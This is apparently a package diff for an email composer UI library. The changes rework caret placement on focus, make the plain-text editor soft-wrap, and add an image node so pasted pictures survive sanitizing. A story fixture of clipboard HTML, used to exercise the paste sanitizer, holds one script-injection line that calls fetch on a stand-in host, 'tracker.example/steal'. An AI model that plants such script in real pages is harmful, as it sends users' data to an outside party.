@remit/ui 0.0.109 → 0.0.111
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/src/components/compose-action-bar.render.test.ts +7 -5
- package/src/components/compose-action-bar.stories.tsx +36 -19
- package/src/components/compose-action-bar.tsx +31 -23
- package/src/components/compose-body-skeleton.tsx +10 -0
- package/src/components/compose-body.stories.tsx +66 -1
- package/src/components/compose-body.tsx +11 -6
- package/src/components/compose-header.stories.tsx +27 -1
- package/src/components/compose-header.tsx +18 -6
- package/src/components/compose-language-chip.stories.tsx +35 -1
- package/src/components/compose-language-chip.tsx +20 -2
- package/src/components/compose-smtp-missing-banner.tsx +15 -3
- package/src/components/filter-rule-editor.stories.tsx +11 -2
- package/src/components/plain-text-editor.mount.test.ts +4 -4
- package/src/components/plain-text-editor.stories.tsx +1 -0
- package/src/components/plain-text-editor.tsx +20 -14
- package/src/components/rich-text-editor.stories.tsx +54 -0
- package/src/components/rich-text-editor.tsx +30 -8
- package/src/components/rich-text-formatting.test.ts +3 -2
- package/src/components/rich-text-image-node.test.ts +157 -0
- package/src/components/rich-text-image-node.ts +124 -0
- package/src/components/rich-text-nodes.ts +5 -1
- package/src/components/rich-text-paste.test.ts +48 -0
- package/src/components/rich-text-value.ts +6 -0
- package/src/index.ts +3 -0
- package/src/lib/adopted-html.test.ts +23 -0
- package/src/lib/adopted-html.ts +16 -1
- package/src/rich-text.ts +1 -0
|
@@ -371,9 +371,18 @@ const openDestinationTree = async (canvasElement: HTMLElement) => {
|
|
|
371
371
|
await tick();
|
|
372
372
|
};
|
|
373
373
|
|
|
374
|
-
/**
|
|
374
|
+
/**
|
|
375
|
+
* Opens a folder in the tree; tapping it both picks it and reveals its
|
|
376
|
+
* children. A tap toggles, and the branch holding the rule's current
|
|
377
|
+
* destination is already open when the tree appears, so a folder that is open
|
|
378
|
+
* is left alone rather than tapped shut.
|
|
379
|
+
*/
|
|
375
380
|
const openFolder = async (canvasElement: HTMLElement, label: string) => {
|
|
376
|
-
|
|
381
|
+
const row = canvasElement.querySelector<HTMLElement>(
|
|
382
|
+
`[aria-label="Move to ${label}"]`,
|
|
383
|
+
);
|
|
384
|
+
if (!row) throw new Error(`no control labelled "Move to ${label}"`);
|
|
385
|
+
if (row.getAttribute("aria-expanded") !== "true") row.click();
|
|
377
386
|
await tick();
|
|
378
387
|
};
|
|
379
388
|
|
|
@@ -121,7 +121,7 @@ const mount = async (
|
|
|
121
121
|
initial = "",
|
|
122
122
|
extra: {
|
|
123
123
|
onSubmit?: () => void;
|
|
124
|
-
|
|
124
|
+
initialCaret?: "start" | "end";
|
|
125
125
|
trailing?: boolean;
|
|
126
126
|
} = {},
|
|
127
127
|
): Promise<{ latest: () => string }> => {
|
|
@@ -135,7 +135,7 @@ const mount = async (
|
|
|
135
135
|
render();
|
|
136
136
|
},
|
|
137
137
|
onSubmit: extra.onSubmit,
|
|
138
|
-
|
|
138
|
+
initialCaret: extra.initialCaret,
|
|
139
139
|
trailing: extra.trailing
|
|
140
140
|
? createElement(ComposeModeToggle, {
|
|
141
141
|
mode: "plain",
|
|
@@ -157,7 +157,7 @@ describe("PlainTextEditor", () => {
|
|
|
157
157
|
await mount();
|
|
158
158
|
|
|
159
159
|
assert.equal(container.querySelectorAll("button").length, 0);
|
|
160
|
-
assert.match(container.textContent ?? "", /
|
|
160
|
+
assert.match(container.textContent ?? "", /Markdown/);
|
|
161
161
|
});
|
|
162
162
|
|
|
163
163
|
it("inserts a pasted web page as Markdown", async () => {
|
|
@@ -191,7 +191,7 @@ describe("PlainTextEditor", () => {
|
|
|
191
191
|
});
|
|
192
192
|
|
|
193
193
|
it("takes focus with the caret at the end when it arrives on a switch", async () => {
|
|
194
|
-
await mount("Everything written so far.", {
|
|
194
|
+
await mount("Everything written so far.", { initialCaret: "end" });
|
|
195
195
|
|
|
196
196
|
await act(async () => {
|
|
197
197
|
await new Promise((resolve) => setTimeout(resolve, 5));
|
|
@@ -9,13 +9,17 @@ import {
|
|
|
9
9
|
} from "react";
|
|
10
10
|
import { Banner } from "./banner.js";
|
|
11
11
|
import { htmlToMarkdown } from "./rich-text-document.js";
|
|
12
|
+
import type { ComposeCaret } from "./rich-text-value.js";
|
|
12
13
|
|
|
13
14
|
export interface PlainTextEditorProps {
|
|
14
15
|
value: string;
|
|
15
16
|
onChange: (text: string) => void;
|
|
16
17
|
onSubmit?: () => void;
|
|
17
|
-
/**
|
|
18
|
-
|
|
18
|
+
/**
|
|
19
|
+
* Where the caret lands when the surface takes focus on mount. Absent, it
|
|
20
|
+
* does not take focus.
|
|
21
|
+
*/
|
|
22
|
+
initialCaret?: ComposeCaret;
|
|
19
23
|
placeholder?: string;
|
|
20
24
|
ariaLabel?: string;
|
|
21
25
|
/** Pinned to the right of the toolbar strip. The mode toggle rides here. */
|
|
@@ -60,7 +64,7 @@ export const PlainTextEditor = ({
|
|
|
60
64
|
value,
|
|
61
65
|
onChange,
|
|
62
66
|
onSubmit,
|
|
63
|
-
|
|
67
|
+
initialCaret,
|
|
64
68
|
placeholder = "Write your message…",
|
|
65
69
|
ariaLabel = "Message body",
|
|
66
70
|
trailing,
|
|
@@ -87,16 +91,16 @@ export const PlainTextEditor = ({
|
|
|
87
91
|
}, [value]);
|
|
88
92
|
|
|
89
93
|
useEffect(() => {
|
|
90
|
-
if (!
|
|
94
|
+
if (!initialCaret) return;
|
|
91
95
|
const textarea = textareaRef.current;
|
|
92
96
|
if (!textarea) return;
|
|
93
97
|
const timer = setTimeout(() => {
|
|
94
98
|
textarea.focus();
|
|
95
|
-
const
|
|
96
|
-
textarea.setSelectionRange(
|
|
99
|
+
const at = initialCaret === "start" ? 0 : textarea.value.length;
|
|
100
|
+
textarea.setSelectionRange(at, at);
|
|
97
101
|
}, 0);
|
|
98
102
|
return () => clearTimeout(timer);
|
|
99
|
-
}, [
|
|
103
|
+
}, [initialCaret]);
|
|
100
104
|
|
|
101
105
|
const handleKeyDown = (event: KeyboardEvent<HTMLTextAreaElement>) => {
|
|
102
106
|
// `Shift` on the paste keystroke selects the text flavour, matching Gmail
|
|
@@ -144,9 +148,11 @@ export const PlainTextEditor = ({
|
|
|
144
148
|
<div className="flex items-center gap-2 px-3 py-1">
|
|
145
149
|
{/* `aria-pressed` on the toggle conveys the mode, not the fact that
|
|
146
150
|
Markdown syntax is read here, so this line is the only way either
|
|
147
|
-
a screen reader or someone who typed `## ` learns it.
|
|
151
|
+
a screen reader or someone who typed `## ` learns it. It does not
|
|
152
|
+
repeat the toggle's own words back at it from the other end of the
|
|
153
|
+
same strip. */}
|
|
148
154
|
<span className="min-w-0 truncate py-2 text-xs text-fg-muted">
|
|
149
|
-
|
|
155
|
+
Markdown
|
|
150
156
|
</span>
|
|
151
157
|
{trailing && (
|
|
152
158
|
<div className="ml-auto flex shrink-0 items-center gap-1">
|
|
@@ -168,9 +174,10 @@ export const PlainTextEditor = ({
|
|
|
168
174
|
{/* 16px, not the editor's `text-sm`: iOS Safari zooms the viewport when a
|
|
169
175
|
form control under 16px takes focus and never zooms back, and
|
|
170
176
|
contenteditable is exempt — so `text-sm` would be a regression
|
|
171
|
-
exclusive to plain mode. Monospace
|
|
172
|
-
|
|
173
|
-
|
|
177
|
+
exclusive to plain mode. Monospace keeps a pipe table aligned while it
|
|
178
|
+
fits. It soft-wraps: prose is what most plain messages are, and a
|
|
179
|
+
message whose every paragraph runs off the right edge cannot be read
|
|
180
|
+
back at all, which is the worse of the two failures at 390. */}
|
|
174
181
|
<textarea
|
|
175
182
|
ref={textareaRef}
|
|
176
183
|
value={value}
|
|
@@ -181,9 +188,8 @@ export const PlainTextEditor = ({
|
|
|
181
188
|
aria-label={ariaLabel}
|
|
182
189
|
placeholder={placeholder}
|
|
183
190
|
data-testid="compose-body-plain"
|
|
184
|
-
wrap="off"
|
|
185
191
|
spellCheck
|
|
186
|
-
className="w-full shrink-0 grow resize-none
|
|
192
|
+
className="w-full shrink-0 grow resize-none whitespace-pre-wrap break-words bg-canvas px-3 py-2 font-mono text-base text-fg outline-none placeholder:text-fg-subtle"
|
|
187
193
|
/>
|
|
188
194
|
</div>
|
|
189
195
|
);
|
|
@@ -70,6 +70,25 @@ const CLIPBOARD_HTML = [
|
|
|
70
70
|
'<script>fetch("https://tracker.example/steal")</script>',
|
|
71
71
|
].join("");
|
|
72
72
|
|
|
73
|
+
const MARK =
|
|
74
|
+
"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNDAiIGhlaWdodD0iMTIwIj48cmVjdCB3aWR0aD0iMjQwIiBoZWlnaHQ9IjEyMCIgcng9IjEyIiBmaWxsPSIjMzc4MGY2Ii8+PGNpcmNsZSBjeD0iNjAiIGN5PSI2MCIgcj0iMzIiIGZpbGw9IiNmZmYiLz48L3N2Zz4=";
|
|
75
|
+
|
|
76
|
+
const WIDE_SHOT =
|
|
77
|
+
"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNjAwIiBoZWlnaHQ9IjQwMCI+PHJlY3Qgd2lkdGg9IjE2MDAiIGhlaWdodD0iNDAwIiBmaWxsPSIjZTJlOGYwIi8+PHRleHQgeD0iNDAiIHk9IjIyMCIgZm9udC1mYW1pbHk9InNhbnMtc2VyaWYiIGZvbnQtc2l6ZT0iOTYiIGZpbGw9IiMzMzQxNTUiPjE2MDAgd2lkZTwvdGV4dD48L3N2Zz4=";
|
|
78
|
+
|
|
79
|
+
/**
|
|
80
|
+
* A clipboard carrying pictures, which is what a screenshot pasted out of a
|
|
81
|
+
* graphics app arrives as. The second is 1600 wide — four times the room the
|
|
82
|
+
* composer has for it.
|
|
83
|
+
*/
|
|
84
|
+
const CLIPBOARD_WITH_IMAGES = [
|
|
85
|
+
"<p>The new mark:</p>",
|
|
86
|
+
`<p><img src="${MARK}" alt="The mark"></p>`,
|
|
87
|
+
"<p>And the header it sits in:</p>",
|
|
88
|
+
`<p><img src="${WIDE_SHOT}" alt="The header, 1600 wide"></p>`,
|
|
89
|
+
"<p>Let me know which one reads better.</p>",
|
|
90
|
+
].join("");
|
|
91
|
+
|
|
73
92
|
export const Empty: Story = {
|
|
74
93
|
name: "Empty",
|
|
75
94
|
args: {},
|
|
@@ -90,6 +109,40 @@ export const PasteResult: Story = {
|
|
|
90
109
|
args: { initialHtml: sanitizeAdoptedHtml(CLIPBOARD_HTML) },
|
|
91
110
|
};
|
|
92
111
|
|
|
112
|
+
/**
|
|
113
|
+
* The pictures are in the document rather than gone from it (#684), and the
|
|
114
|
+
* oversized one is drawn at the width the composer has rather than pushing the
|
|
115
|
+
* message sideways. Whether a `data:` image survives the trip to a given
|
|
116
|
+
* recipient is a separate question, and #679 is where it is answered.
|
|
117
|
+
*/
|
|
118
|
+
export const PastedImages: Story = {
|
|
119
|
+
name: "After pasting images",
|
|
120
|
+
args: { initialHtml: sanitizeAdoptedHtml(CLIPBOARD_WITH_IMAGES) },
|
|
121
|
+
play: async ({ canvasElement }) => {
|
|
122
|
+
const editable = canvasElement.querySelector<HTMLElement>(
|
|
123
|
+
"[data-testid=compose-body]",
|
|
124
|
+
);
|
|
125
|
+
if (!editable) throw new Error("the editor is not mounted");
|
|
126
|
+
|
|
127
|
+
const images = [...editable.querySelectorAll("img")];
|
|
128
|
+
await expect(images).toHaveLength(2);
|
|
129
|
+
await expect(images[0]).toHaveAttribute("alt", "The mark");
|
|
130
|
+
|
|
131
|
+
// A width read before the picture decodes is 0, and 0 is under every
|
|
132
|
+
// bound this would like to assert.
|
|
133
|
+
await waitFor(() =>
|
|
134
|
+
expect(images.every((image) => image.naturalWidth > 0)).toBe(true),
|
|
135
|
+
);
|
|
136
|
+
await expect(images[1].naturalWidth).toBe(1600);
|
|
137
|
+
for (const image of images) {
|
|
138
|
+
await expect(image.getBoundingClientRect().width).toBeGreaterThan(0);
|
|
139
|
+
await expect(image.getBoundingClientRect().width).toBeLessThanOrEqual(
|
|
140
|
+
editable.clientWidth,
|
|
141
|
+
);
|
|
142
|
+
}
|
|
143
|
+
},
|
|
144
|
+
};
|
|
145
|
+
|
|
93
146
|
/**
|
|
94
147
|
* A short message leaves most of the body region empty. That region belongs to
|
|
95
148
|
* the document: the point far below the last line is the editable, and a click
|
|
@@ -134,6 +187,7 @@ const PinnedControls = () => {
|
|
|
134
187
|
<ComposeLanguageChip
|
|
135
188
|
language={language}
|
|
136
189
|
languages={["nl", "en", "de"]}
|
|
190
|
+
source={language === "nl" ? "detected" : "manual"}
|
|
137
191
|
onSelect={setLanguage}
|
|
138
192
|
/>
|
|
139
193
|
<ComposeModeToggle
|
|
@@ -32,7 +32,7 @@ import type {
|
|
|
32
32
|
SpellProvider,
|
|
33
33
|
} from "./rich-text-spellcheck.js";
|
|
34
34
|
import { RichTextToolbar } from "./rich-text-toolbar.js";
|
|
35
|
-
import type { RichTextValue } from "./rich-text-value.js";
|
|
35
|
+
import type { ComposeCaret, RichTextValue } from "./rich-text-value.js";
|
|
36
36
|
|
|
37
37
|
export interface RichTextEditorProps {
|
|
38
38
|
/**
|
|
@@ -42,7 +42,13 @@ export interface RichTextEditorProps {
|
|
|
42
42
|
initialHtml?: string;
|
|
43
43
|
onChange?: (value: RichTextValue) => void;
|
|
44
44
|
onSubmit?: () => void;
|
|
45
|
-
|
|
45
|
+
/**
|
|
46
|
+
* Where the caret lands when the surface takes focus on mount. Absent, it
|
|
47
|
+
* does not take focus. A message opens at the start, because a signature is
|
|
48
|
+
* already in the document and typing belongs above it; a surface arriving
|
|
49
|
+
* from a mode switch opens at the end, where the writing stopped.
|
|
50
|
+
*/
|
|
51
|
+
initialCaret?: ComposeCaret;
|
|
46
52
|
placeholder?: string;
|
|
47
53
|
ariaLabel?: string;
|
|
48
54
|
/** Pinned to the right of the toolbar strip. The mode toggle rides here. */
|
|
@@ -433,14 +439,30 @@ const SpellcheckPlugin = ({
|
|
|
433
439
|
return null;
|
|
434
440
|
};
|
|
435
441
|
|
|
436
|
-
const AutoFocus = ({
|
|
442
|
+
const AutoFocus = ({ caret }: { caret?: ComposeCaret }) => {
|
|
437
443
|
const [editor] = useLexicalComposerContext();
|
|
438
444
|
|
|
439
445
|
useEffect(() => {
|
|
440
|
-
if (!
|
|
441
|
-
|
|
446
|
+
if (!caret) return;
|
|
447
|
+
// Seeding the document leaves a selection behind at the end of what was
|
|
448
|
+
// inserted, and `defaultSelection` only applies where there is none — so
|
|
449
|
+
// the caret is placed here rather than left to `focus`, which would open a
|
|
450
|
+
// new message below the signature instead of above it.
|
|
451
|
+
const timer = setTimeout(() => {
|
|
452
|
+
editor.update(
|
|
453
|
+
() => {
|
|
454
|
+
const root = $getRoot();
|
|
455
|
+
if (caret === "start") {
|
|
456
|
+
root.selectStart();
|
|
457
|
+
return;
|
|
458
|
+
}
|
|
459
|
+
root.selectEnd();
|
|
460
|
+
},
|
|
461
|
+
{ onUpdate: () => editor.focus() },
|
|
462
|
+
);
|
|
463
|
+
}, 0);
|
|
442
464
|
return () => clearTimeout(timer);
|
|
443
|
-
}, [editor,
|
|
465
|
+
}, [editor, caret]);
|
|
444
466
|
|
|
445
467
|
return null;
|
|
446
468
|
};
|
|
@@ -458,7 +480,7 @@ export const RichTextEditor = ({
|
|
|
458
480
|
initialHtml,
|
|
459
481
|
onChange,
|
|
460
482
|
onSubmit,
|
|
461
|
-
|
|
483
|
+
initialCaret,
|
|
462
484
|
placeholder = "Write your message…",
|
|
463
485
|
ariaLabel = "Message body",
|
|
464
486
|
trailing,
|
|
@@ -523,7 +545,7 @@ export const RichTextEditor = ({
|
|
|
523
545
|
<LinkPlugin />
|
|
524
546
|
<TablePlugin />
|
|
525
547
|
<PastePlugin />
|
|
526
|
-
<AutoFocus
|
|
548
|
+
<AutoFocus caret={initialCaret} />
|
|
527
549
|
{onChange && <ChangePlugin onChange={onChange} />}
|
|
528
550
|
{spellcheck && lang ? (
|
|
529
551
|
<SpellcheckPlugin
|
|
@@ -50,9 +50,10 @@ const ROWS: Row[] = [
|
|
|
50
50
|
warns: false,
|
|
51
51
|
},
|
|
52
52
|
{
|
|
53
|
-
what: "an image, which
|
|
53
|
+
what: "an image, which plain text can only name",
|
|
54
54
|
html: '<p>Chart: <img src="https://example.com/chart.png" alt="chart"></p>',
|
|
55
|
-
warns:
|
|
55
|
+
warns: true,
|
|
56
|
+
holds: ["image"],
|
|
56
57
|
},
|
|
57
58
|
{
|
|
58
59
|
what: "an underlined word",
|
|
@@ -0,0 +1,157 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* #684: the image node the composer registers, driven the way the editor drives
|
|
3
|
+
* it — mounted on a real root element, so what is asserted is the picture the
|
|
4
|
+
* writer sees, and reopened from its own serialization, so it is the draft that
|
|
5
|
+
* comes back rather than the document that was saved.
|
|
6
|
+
*/
|
|
7
|
+
import assert from "node:assert/strict";
|
|
8
|
+
import { before, describe, it } from "node:test";
|
|
9
|
+
import type { JSDOM } from "jsdom";
|
|
10
|
+
import type { ElementNode, LexicalEditor } from "lexical";
|
|
11
|
+
import type { ImageNode as ImageNodeClass } from "./rich-text-image-node.js";
|
|
12
|
+
|
|
13
|
+
const LOGO = "https://example.com/logo.png";
|
|
14
|
+
const PIXEL =
|
|
15
|
+
"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7";
|
|
16
|
+
const PASTED = `<p>Chart: <img src="${LOGO}" alt="The logo"></p>`;
|
|
17
|
+
|
|
18
|
+
let openEditor: (html: string) => LexicalEditor;
|
|
19
|
+
let imageOf: (editor: LexicalEditor) => HTMLImageElement;
|
|
20
|
+
let $theImage: () => ImageNodeClass;
|
|
21
|
+
let readHtml: (editor: LexicalEditor) => string;
|
|
22
|
+
let readText: (editor: LexicalEditor) => string;
|
|
23
|
+
|
|
24
|
+
before(async () => {
|
|
25
|
+
const { JSDOM: JSDOMCtor } = await import("jsdom");
|
|
26
|
+
const dom: JSDOM = new JSDOMCtor(
|
|
27
|
+
"<!doctype html><html><body></body></html>",
|
|
28
|
+
{ url: "http://localhost/", pretendToBeVisual: true },
|
|
29
|
+
);
|
|
30
|
+
globalThis.window = dom.window as unknown as typeof globalThis.window;
|
|
31
|
+
globalThis.document = dom.window.document;
|
|
32
|
+
globalThis.DOMParser = dom.window.DOMParser;
|
|
33
|
+
globalThis.HTMLElement = dom.window.HTMLElement;
|
|
34
|
+
globalThis.Element = dom.window.Element;
|
|
35
|
+
globalThis.Node = dom.window.Node;
|
|
36
|
+
globalThis.MutationObserver = dom.window.MutationObserver;
|
|
37
|
+
globalThis.Range = dom.window.Range;
|
|
38
|
+
globalThis.getComputedStyle = dom.window.getComputedStyle.bind(dom.window);
|
|
39
|
+
|
|
40
|
+
const { $getRoot, $insertNodes, $isElementNode, createEditor } = await import(
|
|
41
|
+
"lexical"
|
|
42
|
+
);
|
|
43
|
+
const { $adoptHtml, $readRichText } = await import("./rich-text-document.js");
|
|
44
|
+
const { ImageNode } = await import("./rich-text-image-node.js");
|
|
45
|
+
const { RICH_TEXT_NODES, richTextTheme } = await import(
|
|
46
|
+
"./rich-text-nodes.js"
|
|
47
|
+
);
|
|
48
|
+
|
|
49
|
+
openEditor = (html: string) => {
|
|
50
|
+
const editor: LexicalEditor = createEditor({
|
|
51
|
+
namespace: "test",
|
|
52
|
+
nodes: [...RICH_TEXT_NODES],
|
|
53
|
+
onError: (error) => {
|
|
54
|
+
throw error;
|
|
55
|
+
},
|
|
56
|
+
theme: richTextTheme,
|
|
57
|
+
});
|
|
58
|
+
const root = document.createElement("div");
|
|
59
|
+
root.contentEditable = "true";
|
|
60
|
+
document.body.appendChild(root);
|
|
61
|
+
editor.setRootElement(root);
|
|
62
|
+
if (html !== "")
|
|
63
|
+
editor.update(
|
|
64
|
+
() => {
|
|
65
|
+
$getRoot().clear();
|
|
66
|
+
$getRoot().select();
|
|
67
|
+
$insertNodes($adoptHtml(editor, html));
|
|
68
|
+
},
|
|
69
|
+
{ discrete: true },
|
|
70
|
+
);
|
|
71
|
+
return editor;
|
|
72
|
+
};
|
|
73
|
+
|
|
74
|
+
imageOf = (editor: LexicalEditor) => {
|
|
75
|
+
const image = editor.getRootElement()?.querySelector("img");
|
|
76
|
+
if (!image) throw new Error("the editor is showing no image");
|
|
77
|
+
return image;
|
|
78
|
+
};
|
|
79
|
+
|
|
80
|
+
$theImage = () => {
|
|
81
|
+
const found: ImageNodeClass[] = [];
|
|
82
|
+
const visit = (node: ElementNode) => {
|
|
83
|
+
for (const child of node.getChildren()) {
|
|
84
|
+
if (child instanceof ImageNode) found.push(child);
|
|
85
|
+
if ($isElementNode(child)) visit(child);
|
|
86
|
+
}
|
|
87
|
+
};
|
|
88
|
+
visit($getRoot());
|
|
89
|
+
if (found.length !== 1)
|
|
90
|
+
throw new Error(`the document holds ${found.length} images`);
|
|
91
|
+
return found[0];
|
|
92
|
+
};
|
|
93
|
+
|
|
94
|
+
readHtml = (editor: LexicalEditor) =>
|
|
95
|
+
editor.read(() => $readRichText(editor)).html;
|
|
96
|
+
readText = (editor: LexicalEditor) =>
|
|
97
|
+
editor.read(() => $readRichText(editor)).text;
|
|
98
|
+
});
|
|
99
|
+
|
|
100
|
+
describe("the image the composer shows", () => {
|
|
101
|
+
it("draws the picture rather than a placeholder for it", () => {
|
|
102
|
+
const image = imageOf(openEditor(PASTED));
|
|
103
|
+
|
|
104
|
+
assert.equal(image.getAttribute("src"), LOGO);
|
|
105
|
+
assert.equal(image.getAttribute("alt"), "The logo");
|
|
106
|
+
assert.match(image.className, /max-w-full/);
|
|
107
|
+
});
|
|
108
|
+
|
|
109
|
+
it("stays on the line it was pasted into", () => {
|
|
110
|
+
const html = readHtml(openEditor(PASTED));
|
|
111
|
+
|
|
112
|
+
assert.match(html, /<p>Chart:\s*<img[^>]*><\/p>/);
|
|
113
|
+
});
|
|
114
|
+
|
|
115
|
+
it("leaves the text alternative to a reader who gets no picture", () => {
|
|
116
|
+
assert.match(readText(openEditor(PASTED)), /The logo/);
|
|
117
|
+
});
|
|
118
|
+
});
|
|
119
|
+
|
|
120
|
+
describe("editing a document that holds an image", () => {
|
|
121
|
+
it("repoints the picture already on the screen", () => {
|
|
122
|
+
const editor = openEditor(PASTED);
|
|
123
|
+
const before = imageOf(editor);
|
|
124
|
+
|
|
125
|
+
editor.update(() => $theImage().setSrc(PIXEL), { discrete: true });
|
|
126
|
+
|
|
127
|
+
const after = imageOf(editor);
|
|
128
|
+
assert.equal(after, before);
|
|
129
|
+
assert.equal(after.getAttribute("src"), PIXEL);
|
|
130
|
+
});
|
|
131
|
+
|
|
132
|
+
it("carries the rest of the image through the edit", () => {
|
|
133
|
+
const editor = openEditor(PASTED);
|
|
134
|
+
|
|
135
|
+
editor.update(() => $theImage().setAlt("A newer logo"), {
|
|
136
|
+
discrete: true,
|
|
137
|
+
});
|
|
138
|
+
|
|
139
|
+
const image = imageOf(editor);
|
|
140
|
+
assert.equal(image.getAttribute("alt"), "A newer logo");
|
|
141
|
+
assert.equal(image.getAttribute("src"), LOGO);
|
|
142
|
+
});
|
|
143
|
+
});
|
|
144
|
+
|
|
145
|
+
describe("a draft that held an image", () => {
|
|
146
|
+
it("reopens with the same picture in it", () => {
|
|
147
|
+
const saved = JSON.stringify(openEditor(PASTED).getEditorState().toJSON());
|
|
148
|
+
const reopened = openEditor("");
|
|
149
|
+
|
|
150
|
+
reopened.setEditorState(reopened.parseEditorState(saved));
|
|
151
|
+
|
|
152
|
+
const html = readHtml(reopened);
|
|
153
|
+
assert.ok(html.includes(`src="${LOGO}"`));
|
|
154
|
+
assert.match(html, /alt="The logo"/);
|
|
155
|
+
assert.match(html, /Chart:/);
|
|
156
|
+
});
|
|
157
|
+
});
|
|
@@ -0,0 +1,124 @@
|
|
|
1
|
+
import {
|
|
2
|
+
$applyNodeReplacement,
|
|
3
|
+
$getDocument,
|
|
4
|
+
addClassNamesToElement,
|
|
5
|
+
DecoratorNode,
|
|
6
|
+
type DOMConversionOutput,
|
|
7
|
+
type DOMExportOutput,
|
|
8
|
+
type EditorConfig,
|
|
9
|
+
type LexicalUpdateJSON,
|
|
10
|
+
type NodeKey,
|
|
11
|
+
type SerializedLexicalNode,
|
|
12
|
+
type Spread,
|
|
13
|
+
} from "lexical";
|
|
14
|
+
|
|
15
|
+
type SerializedImageNode = Spread<
|
|
16
|
+
{ src: string; alt: string },
|
|
17
|
+
SerializedLexicalNode
|
|
18
|
+
>;
|
|
19
|
+
|
|
20
|
+
/**
|
|
21
|
+
* Lexical ships no image node, so a pasted `<img>` mapped to nothing and the
|
|
22
|
+
* picture vanished between the clipboard and the message (#684). It carries
|
|
23
|
+
* `src` and `alt` and nothing else — the two attributes the paste profile
|
|
24
|
+
* admits — and renders as the image itself rather than as a placeholder, so
|
|
25
|
+
* what the composer shows is what the recipient gets.
|
|
26
|
+
*/
|
|
27
|
+
export class ImageNode extends DecoratorNode<null> {
|
|
28
|
+
/** @internal */
|
|
29
|
+
__src: string;
|
|
30
|
+
/** @internal */
|
|
31
|
+
__alt: string;
|
|
32
|
+
|
|
33
|
+
$config() {
|
|
34
|
+
return this.config("image", {
|
|
35
|
+
importDOM: {
|
|
36
|
+
img: () => ({ conversion: $convertImageElement, priority: 0 }),
|
|
37
|
+
},
|
|
38
|
+
});
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
constructor(src = "", alt = "", key?: NodeKey) {
|
|
42
|
+
super(key);
|
|
43
|
+
this.__src = src;
|
|
44
|
+
this.__alt = alt;
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
afterCloneFrom(prevNode: this): void {
|
|
48
|
+
super.afterCloneFrom(prevNode);
|
|
49
|
+
this.__src = prevNode.__src;
|
|
50
|
+
this.__alt = prevNode.__alt;
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
createDOM(config: EditorConfig): HTMLImageElement {
|
|
54
|
+
const element = this.buildImage();
|
|
55
|
+
addClassNamesToElement(element, config.theme.image);
|
|
56
|
+
return element;
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
updateDOM(prevNode: this, element: HTMLImageElement): boolean {
|
|
60
|
+
if (prevNode.__src !== this.__src) element.setAttribute("src", this.__src);
|
|
61
|
+
if (prevNode.__alt !== this.__alt) element.setAttribute("alt", this.__alt);
|
|
62
|
+
return false;
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
exportDOM(): DOMExportOutput {
|
|
66
|
+
return { element: this.buildImage() };
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
exportJSON(): SerializedImageNode {
|
|
70
|
+
return { ...super.exportJSON(), alt: this.getAlt(), src: this.getSrc() };
|
|
71
|
+
}
|
|
72
|
+
|
|
73
|
+
updateFromJSON(serializedNode: LexicalUpdateJSON<SerializedImageNode>): this {
|
|
74
|
+
return super
|
|
75
|
+
.updateFromJSON(serializedNode)
|
|
76
|
+
.setSrc(serializedNode.src)
|
|
77
|
+
.setAlt(serializedNode.alt);
|
|
78
|
+
}
|
|
79
|
+
|
|
80
|
+
getSrc(): string {
|
|
81
|
+
return this.getLatest().__src;
|
|
82
|
+
}
|
|
83
|
+
|
|
84
|
+
setSrc(src: string): this {
|
|
85
|
+
const writable = this.getWritable();
|
|
86
|
+
writable.__src = src;
|
|
87
|
+
return writable;
|
|
88
|
+
}
|
|
89
|
+
|
|
90
|
+
getAlt(): string {
|
|
91
|
+
return this.getLatest().__alt;
|
|
92
|
+
}
|
|
93
|
+
|
|
94
|
+
setAlt(alt: string): this {
|
|
95
|
+
const writable = this.getWritable();
|
|
96
|
+
writable.__alt = alt;
|
|
97
|
+
return writable;
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
/** The text alternative is what a plain-text reader is left with. */
|
|
101
|
+
getTextContent(): string {
|
|
102
|
+
return this.getAlt();
|
|
103
|
+
}
|
|
104
|
+
|
|
105
|
+
isInline(): true {
|
|
106
|
+
return true;
|
|
107
|
+
}
|
|
108
|
+
|
|
109
|
+
private buildImage(): HTMLImageElement {
|
|
110
|
+
const element = $getDocument().createElement("img");
|
|
111
|
+
element.setAttribute("src", this.__src);
|
|
112
|
+
element.setAttribute("alt", this.__alt);
|
|
113
|
+
return element;
|
|
114
|
+
}
|
|
115
|
+
}
|
|
116
|
+
|
|
117
|
+
const $convertImageElement = (element: HTMLElement): DOMConversionOutput => ({
|
|
118
|
+
node: $applyNodeReplacement(
|
|
119
|
+
new ImageNode(
|
|
120
|
+
element.getAttribute("src") ?? "",
|
|
121
|
+
element.getAttribute("alt") ?? "",
|
|
122
|
+
),
|
|
123
|
+
),
|
|
124
|
+
});
|
|
@@ -5,11 +5,13 @@ import { HorizontalRuleNode } from "@lexical/react/LexicalHorizontalRuleNode";
|
|
|
5
5
|
import { HeadingNode, QuoteNode } from "@lexical/rich-text";
|
|
6
6
|
import { TableCellNode, TableNode, TableRowNode } from "@lexical/table";
|
|
7
7
|
import type { EditorThemeClasses, Klass, LexicalNode } from "lexical";
|
|
8
|
+
import { ImageNode } from "./rich-text-image-node.js";
|
|
8
9
|
|
|
9
10
|
/**
|
|
10
11
|
* Lexical maps a pasted element only to a node type the editor has registered;
|
|
11
12
|
* anything else collapses to its text. Registering headings, lists, tables,
|
|
12
|
-
* code and rules is what lets adopted structure survive the paste (#671)
|
|
13
|
+
* code and rules is what lets adopted structure survive the paste (#671), and
|
|
14
|
+
* an image is the one element the library ships no node for (#684).
|
|
13
15
|
*/
|
|
14
16
|
